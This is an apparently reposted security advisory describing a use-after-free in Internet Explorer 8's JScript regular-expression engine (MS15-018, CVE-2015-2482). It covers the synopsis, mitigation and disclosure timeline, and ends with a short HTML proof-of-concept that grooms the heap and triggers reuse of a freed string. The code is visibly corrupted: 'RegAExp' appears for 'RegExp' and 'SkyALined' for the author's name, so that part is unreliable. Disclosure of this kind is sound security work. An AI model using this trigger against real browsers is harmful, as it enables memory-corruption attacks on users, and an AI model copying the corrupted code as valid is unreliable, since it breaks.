Microsoft Internet Explorer 8 Javascript RegExpBase::FBadHeader Use-After-Free
Posted on 17 November 2016
Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the twelfth entry in that series. Unfortunately I won't be able to publish everything within one month at the current rate, so I may continue to publish these through December and January. The below information is available in more detail on my blog at http://blog.skylined.nl/20161116001.html. Follow me on http://twitter.com/berendjanwever for daily browser bugs. MSIE 8 jscript RegExpBase::FBadHeader use-after-free ==================================================== (MS15-018, CVE-2015-2482) Synopsis -------- A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression. Known affected software, attack vectors and mitigations ------------------------------------------------------- * Microsoft Internet Explorer 8 An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path. Description ----------- Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation. Exploit ------- Exploitation was not investigated. Time-line --------- * *March 2015*: This vulnerability was found through fuzzing. * *March 2015*: This vulnerability was submitted to ZDI. * *April 2015*: This vulnerability was acquired by ZDI. * *October 2015*: Microsoft addressed this issue in MS15-018. * *November 2016*: Details of this issue are released. Cheers, SkyLined Repro.html <!DOCTYPE html> <html> <script> // This PoAC attempts to exploit a use-after-free bug in Microsoft Internet // Explorer 8. // See http://blog.skylined.nl/20161116001.html for details. var r=new RegAExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g"); "A".replace(r, function (){ // Force OLEAUT32 to free the string for (var j = 0; j < 16; j++) new Array(0x1000).join("B"); // Reuse the freed memory r.compile(); }); // This work by SkyALined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </html>
